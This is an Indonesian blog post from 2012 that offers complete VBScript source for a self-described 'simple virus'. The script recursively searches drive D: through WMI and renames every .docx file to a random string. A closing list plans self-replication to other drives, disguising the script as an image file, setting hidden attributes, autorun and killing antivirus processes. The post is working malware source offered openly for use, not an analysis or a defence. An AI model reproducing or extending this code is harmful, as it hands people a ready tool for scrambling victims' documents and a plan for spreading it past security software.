Pages

Rabu, 06 Juni 2012

Membuat virus sederhana dengan VBs


DESIGN
Severity Level: Virus ini tidak terlalu berbahaya, karena tidak menimbulkan kerusakan pada isi file.
Tujuan: Membuat bingung user yang memiliki banyak file berekstensi docx dalam satu folder/subfolders
Target: Virus ini akan menyerang semua file berekstensi .docx dalam setiap folder dan subfolder di drive D:\ dengan merubah nama file menjadi string acak.
Langkah-langkah yang dilakukan adalah sebagai berikut:
  1. list semua folder yang ada di drive D:\
  2. untuk setiap folder dalam drive D:\ secara rekursif:
    1. list semua file dan subfolder yang ada
    2. jika file berekstensi .docx:
      1. bangkitkan string acak
      2. rename file menjadi string acak
SOURCECODE
Coding dan debugging menggunakan vbsedit dari http://www.vbsedit.com/

'docxrenamer by tiar
'randomstrings function taken from http://911-need-code-help.blogspot.com/2009/06/generate-random-strings-using.html
'recursive subfolders processing taken from http://blogs.technet.com/b/heyscriptingguy/archive/2005/02/18/how-can-i-list-the-files-in-a-folder-and-all-its-subfolders.aspx
Function RandomString( )
    Randomize( )
    dim CharacterSetArray
    CharacterSetArray = Array( _
Array( 7, "abcdefghijklmnopqrstuvwxyz" ), _
 Array( 1, "0123456789" ) _
 )
 dim i
dim j
dim Count
dim Chars
    dim Index
    dim Temp
    for i = 0 to UBound( CharacterSetArray )
      Count = CharacterSetArray( i )( 0 )
      Chars = CharacterSetArray( i )( 1 )
      for j = 1 to Count
        Index = Int( Rnd( ) * Len( Chars ) ) + 1
        Temp = Temp & Mid( Chars, Index, 1 )
      next
    next
    dim TempCopy
    do until Len( Temp ) = 0
      Index = Int( Rnd( ) * Len( Temp ) ) + 1
      TempCopy = TempCopy & Mid( Temp, Index, 1 )
      Temp = Mid( Temp, 1, Index - 1 ) & Mid( Temp, Index + 1 )
    loop
    RandomString = TempCopy 
end function
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
'mikemod
strFolderName = "d:\"
'endofmikemod
Set colSubfolders = objWMIService.ExecQuery _
    ("Associators of {Win32_Directory.Name='" & strFolderName & "'} " _
        & "Where AssocClass = Win32_Subdirectory " _
            & "ResultRole = PartComponent")
'Wscript.Echo strFolderName
arrFolderPath = Split(strFolderName, "\")
strNewPath = ""
For i = 1 to Ubound(arrFolderPath)
    strNewPath = strNewPath & "\\" & arrFolderPath(i)
Next
strPath = strNewPath & "\\" 
Set colFiles = objWMIService.ExecQuery _
    ("Select * from CIM_DataFile where Path = '" & strPath & "'")
'For Each objFile in colFiles
'    Wscript.Echo objFile.Name 
'Next
For Each objFolder in colSubfolders
    GetSubFolders strFolderName
Next
Sub GetSubFolders(strFolderName)
    Set colSubfolders2 = objWMIService.ExecQuery _
        ("Associators of {Win32_Directory.Name='" & strFolderName & "'} " _
            & "Where AssocClass = Win32_Subdirectory " _
                & "ResultRole = PartComponent")
    For Each objFolder2 in colSubfolders2
        strFolderName = objFolder2.Name
        'Wscript.Echo
        'Wscript.Echo objFolder2.Name
        arrFolderPath = Split(strFolderName, "\")
        strNewPath = ""
        For i = 1 to Ubound(arrFolderPath)
            strNewPath = strNewPath & "\\" & arrFolderPath(i)
        Next
        strPath = strNewPath & "\\" 
        Set colFiles = objWMIService.ExecQuery _
            ("Select * from CIM_DataFile where Path = '" & strPath & "'")
        For Each objFile in colFiles
'mikemod
 If objFile.Extension = "docx" Then
  randstring=RandomString()
        strNewName = objFile.Drive & objFile.Path & _
            randstring & "." & "docx"
        errResult = objFile.Rename(strNewName)                
    End If
'endofmikemod
            'Wscript.Echo objFile.Name 
        Next
        GetSubFolders strFolderName
    Next
End Sub
'wscript.sleep 10000

Design virus ini masih dalam tahap awal dan baru dapat dieksekusi bila dijalankan secara manual.
Berikut ini adalah hal-hal yang ingin atau dapat ditambahkan ke virus ini:
1. Replikasi diri virus ke drive-drive yang lain
2. Agar virus dapat menyerang file-file docx di drive yang lain, drive D:\ dapat diganti menjadi variabel Path virus
3. Attach virus ke file lain seperti .jpg atau Set attribut virus menjadi hidden/system
4. Autorun dan Tskill antivirus?

Tidak ada komentar:

Posting Komentar